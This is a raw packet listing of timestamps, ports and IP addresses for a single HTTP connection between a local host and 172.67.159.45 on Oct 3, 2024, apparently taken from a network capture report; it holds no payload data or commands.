Oct 3, 2024 05:02:57.373852968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373876095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373898029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373898029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373918056 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373944998 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.461769104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.461819887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.461843967 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.461868048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.461889029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.461910963 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.461900949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.461935043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.461987972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.461987972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.461988926 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462101936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462150097 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462280989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462304115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462327003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462333918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462352991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462376118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462390900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462405920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462433100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462454081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462455034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462476969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462479115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462492943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462501049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462532043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462538004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462554932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462564945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462584019 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462599993 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462719917 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462733984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462754965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462771893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462804079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462878942 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462898970 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462924004 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462929010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462945938 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462950945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462965012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.462973118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.462994099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463000059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463016033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463021994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463043928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463049889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463068008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463069916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463088989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463113070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463378906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463424921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463428974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463442087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463468075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463478088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463496923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463514090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463546038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463547945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463566065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463571072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463593006 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463593960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463612080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463615894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463638067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463639021 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463655949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463660002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463681936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463689089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463701963 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463706017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463726997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.463727951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463746071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.463766098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464083910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464103937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464129925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464134932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464168072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464168072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464248896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464268923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464293957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464299917 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464313030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464319944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464337111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464339018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464361906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464361906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464385033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464390039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464407921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464420080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464431047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464440107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464454889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464456081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464476109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464493036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464503050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464514017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464554071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464574099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464780092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464799881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464824915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464833975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464869976 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464870930 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.464984894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.464999914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465028048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465048075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465049982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465066910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465073109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465085983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465091944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465106010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465116978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465121984 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465143919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465150118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465168953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465172052 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465193033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465204954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465214014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465225935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465239048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465245008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465260029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465281010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465289116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465303898 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465326071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465327978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465348005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465348959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465372086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465372086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465390921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465418100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465681076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465703011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465723991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465743065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465744972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465770006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465797901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465837002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465857029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465882063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.465884924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465966940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.465966940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466020107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466039896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466065884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466068029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466085911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466089010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466109991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466116905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466134071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466135979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466156960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466157913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466176033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466178894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466200113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466202021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466217995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466223955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466242075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466245890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466267109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466269970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466289043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.466298103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466321945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.466339111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.467750072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.467775106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.467804909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.467856884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.467927933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.467952013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.467973948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.467974901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.467995882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.467997074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.468018055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.468020916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.468039989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.468050003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.468070984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.468081951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.468096972 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.468101978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.468226910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.468226910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.560395002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.560571909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.560585976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.560616016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.560640097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.560638905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.560640097 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.560662031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.560683966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.560703993 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.560704947 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.560724020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.560743093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.560775995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.561220884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.561240911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.561275959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.561305046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.561403990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.561439037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.561477900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.561507940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.561585903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.561605930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.561631918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.561635971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.561654091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.561655998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.561676025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.561678886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.561701059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.561702967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.561732054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.561750889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.561960936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.561980009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562004089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562010050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562022924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562030077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562047958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562047958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562067032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562072039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562092066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562093019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562112093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562114954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562136889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562138081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562154055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562160015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562182903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562200069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562200069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562223911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562653065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562673092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562730074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562730074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562783003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562805891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562824011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562830925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562849045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562851906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562875032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562889099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562894106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562908888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562920094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562927961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562944889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562947035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562963963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562975883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.562984943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.562997103 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563028097 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563047886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563098907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563152075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563297033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563317060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563342094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563349962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563360929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563400030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563417912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563416004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563416004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563416958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563445091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563446999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563467026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563471079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563492060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563496113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563517094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563524961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563536882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563543081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563565016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563579082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563601971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563601017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563626051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563649893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.563942909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563976049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.563994884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564002991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564018965 CEST	80	49705	172.67.159.45	192.168.2.5
